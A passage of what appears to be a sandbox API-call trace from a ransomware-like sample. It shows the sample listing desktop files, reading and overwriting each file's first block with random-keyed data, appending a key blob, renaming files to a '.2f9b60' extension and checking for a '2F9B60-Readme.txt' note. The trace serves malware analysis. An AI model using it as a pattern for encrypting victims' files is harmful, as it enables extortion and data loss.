cFileName="YPKJI79RKbUmFl.swf", cAlternateFileName="YPKJI7~1.SWF")) returned 1 [0127.037] wcscmp (_String1="YPKJI79RKbUmFl.swf", _String2=".") returned 1 [0127.037] wcscmp (_String1="YPKJI79RKbUmFl.swf", _String2="..") returned 1 [0127.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af580 [0127.037] wcscpy (in: _Dest=0x202af580, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0127.037] wcscat (in: _Dest=0x202af580, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0127.037] wcscat (in: _Dest=0x202af580, _Source="YPKJI79RKbUmFl.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\YPKJI79RKbUmFl.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\YPKJI79RKbUmFl.swf" [0127.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4 [0127.039] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56453ed0, ftCreationTime.dwHighDateTime=0x1d5dcce, ftLastAccessTime.dwLowDateTime=0x5adc3020, ftLastAccessTime.dwHighDateTime=0x1d5e5a2, ftLastWriteTime.dwLowDateTime=0x5adc3020, ftLastWriteTime.dwHighDateTime=0x1d5e5a2, nFileSizeHigh=0x0, nFileSizeLow=0x2260, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgcFkRW hFa.mp3", cAlternateFileName="ZGCFKR~1.MP3")) returned 1 [0127.039] wcscmp (_String1="ZgcFkRW hFa.mp3", _String2=".") returned 1 [0127.039] wcscmp (_String1="ZgcFkRW hFa.mp3", _String2="..") returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x20504310 [0127.039] wcscpy (in: _Dest=0x20504310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0127.039] wcscat (in: _Dest=0x20504310, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0127.039] wcscat (in: _Dest=0x20504310, _Source="ZgcFkRW hFa.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\ZgcFkRW hFa.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\ZgcFkRW hFa.mp3" [0127.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0 [0127.040] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56453ed0, ftCreationTime.dwHighDateTime=0x1d5dcce, ftLastAccessTime.dwLowDateTime=0x5adc3020, ftLastAccessTime.dwHighDateTime=0x1d5e5a2, ftLastWriteTime.dwLowDateTime=0x5adc3020, ftLastWriteTime.dwHighDateTime=0x1d5e5a2, nFileSizeHigh=0x0, nFileSizeLow=0x2260, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgcFkRW hFa.mp3", cAlternateFileName="ZGCFKR~1.MP3")) returned 0 [0127.040] FindClose (in: hFindFile=0x1cd9d430 | out: hFindFile=0x1cd9d430) returned 1 [0127.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56a40) returned 1 [0127.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3490) returned 1 [0127.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86d90) returned 1 Thread: id = 778 os_tid = 0x130c [0098.633] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\59xLdsFpo.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\59xldsfpo.pps")) returned 0x20 [0098.633] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\59xLdsFpo.pps", dwFileAttributes=0x20) returned 1 [0098.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\59xLdsFpo.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\59xldsfpo.pps"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a8 [0098.634] GetFileSizeEx (in: hFile=0x14a8, lpFileSize=0x21acf900 | out: lpFileSize=0x21acf900*=41869) returned 1 [0098.634] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0xa389, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.634] ReadFile (in: hFile=0x14a8, lpBuffer=0x21acf880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21acf8c8, lpOverlapped=0x0 | out: lpBuffer=0x21acf880*, lpNumberOfBytesRead=0x21acf8c8*=0x4, lpOverlapped=0x0) returned 1 [0098.635] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260620 [0098.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0098.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606e0 [0098.635] NtQuerySystemTime (in: CurrentTime=0x21acf7c0 | out: CurrentTime=0x21acf7c0*=132462177041530000) returned 0x0 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x16510a53 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x2b12c4e6 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x464ceec2 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x2081d1f4 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x44cdf45a [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x31fa8a9b [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x7252990c [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x2eac6452 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x5012634e [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x7beb2c44 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x6e2b39e7 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x7b2769cd [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x2c89f33d [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0xc4fb662 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x34fbb9d5 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x9c616ea [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x6a2d4b97 [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x401f1e6e [0098.635] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x2703b4e8 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x2e3cac9d [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x15e61295 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x21be6811 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x2f09d372 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x4d1bb8c1 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x1043dedc [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x74373050 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x46974f4d [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x75d2b146 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x7e44c391 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x37e0f1f9 [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x3089b84d [0098.636] RtlRandomEx (in: Seed=0x21acf7b0 | out: Seed=0x21acf7b0) returned 0x25368585 [0098.644] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.644] ReadFile (in: hFile=0x14a8, lpBuffer=0x202085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21acf820, lpOverlapped=0x0 | out: lpBuffer=0x202085a0*, lpNumberOfBytesRead=0x21acf820*=0x3c00, lpOverlapped=0x0) returned 1 [0098.644] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260620 [0098.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260620) returned 1 [0098.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2020c1b0 [0098.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260620 [0098.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606e0 [0098.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606e0) returned 1 [0098.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.645] WriteFile (in: hFile=0x14a8, lpBuffer=0x2020c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21acf820, lpOverlapped=0x0 | out: lpBuffer=0x2020c1b0*, lpNumberOfBytesWritten=0x21acf820*=0x3c00, lpOverlapped=0x0) returned 1 [0100.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0100.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202085a0) returned 1 [0100.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20263aa0 [0100.913] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.913] WriteFile (in: hFile=0x14a8, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x21acf8d0, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x21acf8d0*=0x10c, lpOverlapped=0x0) returned 1 [0102.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0102.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0102.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608c0 [0102.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608c0) returned 1 [0102.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202608c0 [0102.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0102.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0102.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260830) returned 1 [0102.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0102.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0102.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f6f0 [0102.036] sprintf (in: _Dest=0x1cd9f6f0, _Format="%c%c" | out: _Dest="02") returned 2 [0102.036] sprintf (in: _Dest=0x1cd9f6f2, _Format="%c%c" | out: _Dest="f4") returned 2 [0102.036] sprintf (in: _Dest=0x1cd9f6f4, _Format="%c%c" | out: _Dest="70") returned 2 [0102.036] sprintf (in: _Dest=0x1cd9f6f6, _Format="%c%c" | out: _Dest="f1") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f6f8, _Format="%c%c" | out: _Dest="75") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f6fa, _Format="%c%c" | out: _Dest="b7") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f6fc, _Format="%c%c" | out: _Dest="9d") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f6fe, _Format="%c%c" | out: _Dest="de") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f700, _Format="%c%c" | out: _Dest="cb") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f702, _Format="%c%c" | out: _Dest="22") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f704, _Format="%c%c" | out: _Dest="3c") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f706, _Format="%c%c" | out: _Dest="04") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f708, _Format="%c%c" | out: _Dest="0a") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f70a, _Format="%c%c" | out: _Dest="f9") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f70c, _Format="%c%c" | out: _Dest="bf") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f70e, _Format="%c%c" | out: _Dest="61") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f710, _Format="%c%c" | out: _Dest="0a") returned 2 [0102.037] sprintf (in: _Dest=0x1cd9f712, _Format="%c%c" | out: _Dest="18") returned 2 [0102.038] sprintf (in: _Dest=0x1cd9f714, _Format="%c%c" | out: _Dest="4e") returned 2 [0102.038] sprintf (in: _Dest=0x1cd9f716, _Format="%c%c" | out: _Dest="d9") returned 2 [0102.038] sprintf (in: _Dest=0x1cd9f718, _Format="%c%c" | out: _Dest="63") returned 2 [0102.038] sprintf (in: _Dest=0x1cd9f71a, _Format="%c%c" | out: _Dest="e7") returned 2 [0102.038] sprintf (in: _Dest=0x1cd9f71c, _Format="%c%c" | out: _Dest="42") returned 2 [0102.038] sprintf (in: _Dest=0x1cd9f71e, _Format="%c%c" | out: _Dest="cd") returned 2 [0102.038] sprintf (in: _Dest=0x1cd9f720, _Format="%c%c" | out: _Dest="e0") returned 2 [0102.038] sprintf (in: _Dest=0x1cd9f722, _Format="%c%c" | out: _Dest="db") returned 2 [0102.038] RtlInitAnsiString (in: DestinationString=0x21acf948, SourceString="02f470f175b79ddecb223c040af9bf610a184ed963e742cde0db" | out: DestinationString="02f470f175b79ddecb223c040af9bf610a184ed963e742cde0db") [0102.038] RtlAnsiStringToUnicodeString (in: DestinationString=0x21acf918, SourceString="02f470f175b79ddecb223c040af9bf610a184ed963e742cde0db", AllocateDestinationString=1 | out: DestinationString="02f470f175b79ddecb223c040af9bf610a184ed963e742cde0db") returned 0x0 [0102.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d970 [0102.039] wcscat (in: _Dest=0x1b79e870, _Source="02f470f175b79" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\02f470f175b79") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\02f470f175b79" [0102.039] wcscat (in: _Dest=0x1b79e870, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\02f470f175b79.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\02f470f175b79.2f9b60" [0102.039] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\02f470f175b79.2f9b60", NtPathName=0x21acf8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\02f470f175b79.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c510 [0109.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c510) returned 1 [0109.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505690) returned 1 [0109.009] NtQueryInformationFile (in: FileHandle=0x14a8, IoStatusBlock=0x21acf958, FileInformation=0x21acf968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21acf958, FileInformation=0x21acf968) returned 0x0 [0109.009] NtSetInformationFile (FileHandle=0x14a8, IoStatusBlock=0x21acf958, FileInformation=0x21acf968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0109.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0109.027] FlushFileBuffers (hFile=0x14a8) returned 1 [0109.032] CloseHandle (hObject=0x14a8) returned 1 [0109.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b867140 [0109.039] wcscpy (in: _Dest=0x1b867140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.039] wcscat (in: _Dest=0x1b867140, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.039] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867140) returned 1 [0109.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8640d0) returned 1 Thread: id = 779 os_tid = 0x1310 [0098.647] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jLK9R6aaDooV.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7jlk9r6aadoov.ods")) returned 0x20 [0098.647] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jLK9R6aaDooV.ods", dwFileAttributes=0x20) returned 1 [0098.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jLK9R6aaDooV.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7jlk9r6aadoov.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14ac [0098.648] GetFileSizeEx (in: hFile=0x14ac, lpFileSize=0x21d5f7e0 | out: lpFileSize=0x21d5f7e0*=99755) returned 1 [0098.648] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x185a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.648] ReadFile (in: hFile=0x14ac, lpBuffer=0x21d5f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21d5f7a8, lpOverlapped=0x0 | out: lpBuffer=0x21d5f760*, lpNumberOfBytesRead=0x21d5f7a8*=0x4, lpOverlapped=0x0) returned 1 [0098.649] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606e0 [0098.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0098.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0098.649] NtQuerySystemTime (in: CurrentTime=0x21d5f6a0 | out: CurrentTime=0x21d5f6a0*=132462177041686000) returned 0x0 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x5b3a5449 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x244dbd1e [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x629549eb [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x74620fbc [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x2f9ee99a [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x122efc3a [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x573a8f48 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x8d0af17 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x4f0788bf [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x1298e4c2 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x3033d6fc [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x209cae8d [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x22652cde [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x221c4b1b [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x18432bf8 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x8c87707 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x1715d903 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x1da82674 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x57181df4 [0098.649] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x64f7230f [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x411770a6 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x794e7d36 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x1647e798 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x5745b37e [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x1be6c5d3 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x37a6ac02 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x242f76f7 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x669f88a7 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x76e67591 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x5d1960db [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x7f24aa0 [0098.650] RtlRandomEx (in: Seed=0x21d5f690 | out: Seed=0x21d5f690) returned 0x453615d3 [0098.657] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.657] ReadFile (in: hFile=0x14ac, lpBuffer=0x1ceda600, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21d5f700, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesRead=0x21d5f700*=0x3c00, lpOverlapped=0x0) returned 1 [0098.657] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606e0 [0098.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606e0) returned 1 [0098.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cede210 [0098.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606e0 [0098.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0098.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202607a0) returned 1 [0098.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.658] WriteFile (in: hFile=0x14ac, lpBuffer=0x1cede210*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21d5f700, lpOverlapped=0x0 | out: lpBuffer=0x1cede210*, lpNumberOfBytesWritten=0x21d5f700*=0x3c00, lpOverlapped=0x0) returned 1 [0100.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cede210) returned 1 [0100.503] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.503] ReadFile (in: hFile=0x14ac, lpBuffer=0x1ceda600, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21d5f700, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesRead=0x21d5f700*=0x3c00, lpOverlapped=0x0) returned 1 [0100.503] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 